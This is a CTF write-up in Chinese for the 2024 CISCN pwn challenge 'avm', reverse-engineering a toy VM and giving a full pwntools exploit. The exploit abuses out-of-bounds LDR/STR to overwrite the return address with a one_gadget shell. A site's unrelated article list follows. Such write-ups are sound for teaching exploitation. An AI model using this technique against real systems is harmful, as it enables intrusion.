[ 2024 CISCN x 长城杯 ] pwn avm

news/2025/3/13 1:11:40/文章来源:https://www.cnblogs.com/seyedog/p/18636685

2024 CISCN x 长城杯 AVM

avm

VM入门题。不过挺吃逆向经验的。之前都是复现,这算是第一次比赛的时候做出vm题。这个题的逆向思路非常经典,所以分享一下。

1.程序逆向

函数主函数如下:

unsigned __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{_BYTE s[3080]; // [rsp+0h] [rbp-C10h] BYREFunsigned __int64 v5; // [rsp+C08h] [rbp-8h]v5 = __readfsqword(0x28u);init();memset(s, 0, 0x300uLL);write(1, "opcode: ", 8uLL);read(0, s, 0x300uLL);sub_1230(&unk_40C0, s, 768LL);sub_19F1(&unk_40C0);return v5 - __readfsqword(0x28u);
}

memset了0x300的内存,write提示这块内存作为opcode输入,所以可以得到s变量就是opcode,之后的sub_1230和sub_19F1函数就是对我们输入的opcode的处理了。也是这个vm的主要功能

1.1 寄存器结构体逆向

首先看sub_1230函数:

_QWORD *__fastcall sub_1230(_QWORD *a1, __int64 opcode, __int64 size)
{_QWORD *result; // raxint i; // [rsp+24h] [rbp-4h]a1[33] = opcode;a1[34] = size;result = a1;a1[32] = 0LL;for ( i = 0; i <= 31; ++i ){result = a1;a1[i] = 0LL;}return result;
}

for循环有一个非常经典的循环32次置空的操作,这个是把32个通用寄存器置空的操作
另外从数组的32到34赋值操作的含义分别:
为33号寄存器赋值opcode的基地址
为34号寄存器赋值opcode的最大长度,可能是用来限制指令读取,防止越界的。
32号寄存器赋值为空,这里暂时不知道作用是什么。

之后可以为IDA编辑如下结构体:

   struct registers{__int64 r[32];__int64 unknown;__int64 op_base;__int64 op_size;};

之后去逆向sub_19F1函数

unsigned __int64 __fastcall sub_19F1(_QWORD *a1)
{unsigned int v2; // [rsp+1Ch] [rbp-114h]_BYTE s[264]; // [rsp+20h] [rbp-110h] BYREFunsigned __int64 v4; // [rsp+128h] [rbp-8h]v4 = __readfsqword(0x28u);memset(s, 0, 0x100uLL);while ( a1[32] < a1[34] ){v2 = *(a1[33] + (a1[32] & 0xFFFFFFFFFFFFFFFCLL)) >> 28;if ( v2 > 0xA || !v2 ){puts("Unsupported instruction");return v4 - __readfsqword(0x28u);}(funcs_1AAD[v2])(a1, s);}return v4 - __readfsqword(0x28u);
}

程序上来先memset了0x100的内存,并在执行指令时将内存作为参数传递:(funcs_1AAD[v2])(a1, s);
其中,v2来锁定执行的是哪条命令:

v2 = *(a1[33] + (a1[32] & 0xFFFFFFFFFFFFFFFCLL)) >> 28;是将opcode转换为指令的译码过程。
其中已知33号寄存器是基地址,那么32号寄存器应该就是偏移地址。两个地址相加处理后的地址是当前执行的指令地址,对当前指令地址右移28位就是指令的操作码。

可以看到这个是一个定长的指令集hh

那么现在可以将结构体修改为下面的样子了:

   struct registers{__int64 r[32];__int64 ip;__int64 cs;__int64 op_size;};

之后去逆向指令即可

1.2 指令逆向

我们从第一个开始分析:下面是已经逆向好的内容:

Reg *__fastcall ADD(Reg *reg)
{Reg *result; // raxunsigned int PC; // [rsp+10h] [rbp-10h]PC = *(reg->cs + (reg->ip & 0xFFFFFFFFFFFFFFFCLL));reg->ip += 4LL;result = reg;reg->r[PC & 0x1F] = reg->r[HIWORD(PC) & 0x1F] + reg->r[(PC >> 5) & 0x1F];return result;
}

此处我们逆向的目的是分析指令编码情况:

  • 通过 reg->r[PC & 0x1F]我们可以看到,指令的低5位是用来指定通用寄存器序号的(0x1f),并且是保存操作结果的
  • 之前v2 = *(a1[33] + (a1[32] & 0xFFFFFFFFFFFFFFFCLL)) >> 28;可以看到,指令的高36位(64位定长指令)或者高4位(32位定长指令)是用来指定指令操作码的
  • reg->ip += 4LL;可以看到,以4字节为一个单位长度,代表指令是32位。

指令码大致如下:32bit:

0001 |0000 000|0 0000  | 0000 00| 00 000 |0 0000
操作码|        |操作reg号|        | reg号   |reg号
仅1~10          |                 |HIWORD(PC) & 0x1F     |(PC >> 5) & 0x1F

之后其他指令都与此类似。唯二两个不同的指令如下:

unsigned __int64 __fastcall STR(Reg *reg, __int64 s)
{unsigned __int64 result; // raxunsigned int PC; // [rsp+20h] [rbp-20h]_QWORD *v4; // [rsp+30h] [rbp-10h]PC = *(reg->cs + (reg->ip & 0xFFFFFFFFFFFFFFFCLL));reg->ip += 4LL;result = byte_4010;if ( (reg->r[(PC >> 5) & 0x1F] + BYTE2(PC)) < byte_4010 ){v4 = ((reg->r[(PC >> 5) & 0x1F] + (HIWORD(PC) & 0xFFF)) + s);*v4 = reg->r[PC & 0x1F];return v4;}return result;
}
Reg *__fastcall LDR(Reg *reg, __int64 s)
{Reg *result; // raxunsigned __int16 v3; // [rsp+1Eh] [rbp-22h]unsigned int PC; // [rsp+20h] [rbp-20h]PC = *(reg->cs + (reg->ip & 0xFFFFFFFFFFFFFFFCLL));reg->ip += 4LL;result = byte_4010;if ( (reg->r[(PC >> 5) & 0x1F] + BYTE2(PC)) < byte_4010 ){result = reg;v3 = reg->r[(PC >> 5) & 0x1F] + (HIWORD(PC) & 0xFFF);reg->r[PC & 0x1F] = (*(v3 + s + 7) << 56) | (*(v3 + s + 6) << 48) | (*(v3 + s + 5) << 40) | (*(v3 + s + 4) << 32) | (*(v3 + s + 3) << 24) | (*(v3 + s + 2) << 16) | *(v3 + s);}return result;
}

byte_4010中存的是0xff,if检查判断要求之后操作的地址范围在之前memset的0x100以内

检查条件如下:

if ( (unsigned __int8)(reg->r[(PC >> 5) & 0x1F] + BYTE2(PC)) < (unsigned __int8)byte_4010 )

STR指令赋值操作:

v4 = ((reg->r[(PC >> 5) & 0x1F] + (HIWORD(PC) & 0xFFF)) + s);

s是memset内存的基地址,(reg->r[(PC >> 5) & 0x1F] + (HIWORD(PC) & 0xFFF))是偏移

这里可以看到检测条件是0xff以内,但是if里面的赋值操作却可以写s加0x1000偏移以内的数据

2.漏洞利用

很明显,LDR和STR存在越界读写漏洞
没有输出函数,无法获得libc,打法是:

  • 先构造一个LDR把一个onegadget附件的libc地址写入寄存器。
  • 利用SUB指令将这个libc减去和onegadget的偏移,结果保存在指定寄存器中
  • 利用STR把onegadget地址写入到main函数返回地址上。

这里解释一下下面的exp,sub操作只能在寄存器之间操作。所以无法直接写入一个我们希望的数据。利用方法是:先在opcode末尾加入我们计算好的onegadget与指定libc地址的偏移,然后通过STR指令将这个数据读入到寄存器中,再sub即可

3.exp

from ctypes import *
from pwn import *
banary = "/home/giantbranch/PWN/question/CISCN/2025/avm/pwn"
elf = ELF(banary)
# libc = ELF("/home/giantbranch/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
# libc = ELF("/home/giantbranch/PWN/tools/libc-database-master/db/libc6_2.27-3ubuntu1.6_amd64.so")
ip = '8.147.135.93'
port = 37051
local = 1
if local:io = process(banary)
else:io = remote(ip, port)# context(log_level = 'debug', os = 'linux', arch = 'amd64')
context(log_level = 'debug', os = 'linux', arch = 'i386')def protect_ptr(address, next)-> int:return (address >> 12)^ next
def dbg():gdb.attach(io)pause()s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()def ADD():ins = 1opcode = ins<<28return p32(opcode)
def SUB(target_reg,sub_reg,besub_reg):ins = 2sub_reg = (sub_reg & 0x1f) << 5besub_reg = (besub_reg & 0x1f) << 16 opcode = (ins<<28) + (target_reg & 0x1f) + sub_reg + besub_regreturn p32(opcode)
def STR(reg_idx,offset,store_reg):ins = 9reg_idx = (reg_idx & 0x1f) << 5offset = (offset & 0xfff) << 16opcode = (ins<<28) + (store_reg & 0x1f) + reg_idx + offsetreturn p32(opcode)
def LDR(reg_idx,offset,save_reg):ins = 10reg_idx = (reg_idx & 0x1f) << 5offset = (offset & 0xfff) << 16opcode = (ins<<28) + (save_reg & 0x1f) + reg_idx + offsetreturn p32(opcode)onegadget = 0x249040 - 0x50a47  #libc.sym['_dl_fini']opcode = LDR(0,0xa40,1) + LDR(0,0x138,2)
opcode += SUB(4,1,2) + STR(0,0x118,4) 
opcode += p64(0)
opcode += p64(onegadget)
# dbg()
sa(b'opcode',opcode)# 0x50a47 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
# constraints:
#   rsp & 0xf == 0
#   rcx == NULL
#   rbp == NULL || (u16)[rbp] == NULL# 0xebc81 execve("/bin/sh", r10, [rbp-0x70])
# constraints:
#   address rbp-0x78 is writable
#   [r10] == NULL || r10 == NULL
#   [[rbp-0x70]] == NULL || [rbp-0x70] == NULL# 0xebc85 execve("/bin/sh", r10, rdx)
# constraints:
#   address rbp-0x78 is writable
#   [r10] == NULL || r10 == NULL
#   [rdx] == NULL || rdx == NULL# 0xebc88 execve("/bin/sh", rsi, rdx)
# constraints:
#   address rbp-0x78 is writable
#   [rsi] == NULL || rsi == NULL
#   [rdx] == NULL || rdx == NULLia()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/860020.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

13C++循环结构-for循环(3)

1、回文数; 2、斐波那契数列及长整型 long; 3、逻辑判断与推理; 4、for语句的应用。一、回文数 问题:“地满红花红满地,天连碧水碧连天”是一副回文联,用回文形式写成的对联,既可以顺读,也可以倒读,意思不变。在数学中也存在这样特征的一类数,称为回文数。设n是一任意…

2025年了,你还不会配置Jetson Orin NX嘛?

2025年了,你还不会配置Jetson Orin NX嘛?我的设备为:Jetson Orin NX 16G + JetPack6.1+达妙科技载板 帅气的Jetson Orin NX拿到手了,都2025年了你还不会配置嘛???让我一篇文章带你不糟蹋这一美丽的艺术品!Cuda、CuDNN、TensorRT配置首先我们拿出一块刚刚烧录完的…

uml上机实验 4

一 实验目的  理解顺序图、协作图、活动图、状态机图的概念及其在系统分析设计中的作用;  了解和掌握软件工程中用例逻辑时序的分析方法;  掌握两种交互图(顺序图和协作图)的差别;  掌握描述一个操作执行过程中所完成工作(动作)的方法;  掌握描述对象内部工作…

uml上级实验 5

一 实验目的  了解系统物理体系结构模型和表示方法;  了解部署图的概念及其在系统设计中的作用;  掌握使用Rational Rose绘制部署图的方法; 二 实验环境及实验准备  所需硬件环境为微机;  所需软件环境为Rational Rose、Miscrosoft Word等;  熟悉Rational Ros…

JAVA-Day 03:数据类型

数据类型 Java的数据类型分为两大类,分别是基本类型(primitive type)和引用类型(reference type)。 基本数据类型(Primitive Type)分为数值类型和boolean(布尔)类型 数值类型整数类型byte型占1个字节范围:-128~127 如图所示:short型占2个字节范围:-32768~32767 如图所示:int…

[攻防世界]不确定,再看看

[攻防世界]不确定,再看看[攻防世界]不确定,再看看 题目 做题做累了吧,给你准备了一道钢琴曲,要仔细听哦!我藏得很深。 hint1:信息隐藏一般要求载体需要有一定的冗余度,而base64编码刚好就有这个特点。 解题 下载得到音频文件 放入Audacity,并无收获解锁新工具Deepsound…

2.3结构伪类选择器

2.3结构 伪类选择器

python爱心代码大全

python爱心代码 详细分析这段代码实现了一个用Python的Tkinter库绘制跳动爱心的程序,其中包括了一个弹窗来询问是否做一个人的女朋友,如果同意则会显示跳动的爱心,如果拒绝则会重新询问。(无法解决,只能同意哦~) 下面对代码进行详细分析: 1.导入必要的库首先,导入了一…

C#使用Tesseract C++ API过程记录

Tesseract Tesseract 是一个开源的光学字符识别(OCR)引擎,最初由 Hewlett-Packard(惠普)实验室开发,后来由 Google 收购并继续维护和开源贡献。Tesseract 可以识别多种语言的文字,广泛应用于将图片或扫描文档中的文本内容转换成可编辑的文本格式。随着深度学习技术的发展…

[攻防世界]信号不好先挂了

[攻防世界]信号不好先挂了[攻防世界]信号不好先挂了 分析 又是图片隐写我也先挂了…… 解题save bin 保存后的zip还需要修复一下才能解压缩……怎么里面又是这张图片 Misc隐写术 - Scr1pt? - 博客园两张一样图片还可在stegslove合成图片 用BlindWaterMark这个工具一直报错(麻…

10. 组合框控件

一、组合框控件组合框控件主要以列表形式为用户提供选择的项目,用户可以从中选择项。PySide6 中常用的列表类控件主要有 QComboBox(下拉组合框控件)、QFontComBox(字体组合框控件)。我们可以在终端中使用 pip 安装 pyside6 模块。 pip install pyside6二、下拉组合框控件下…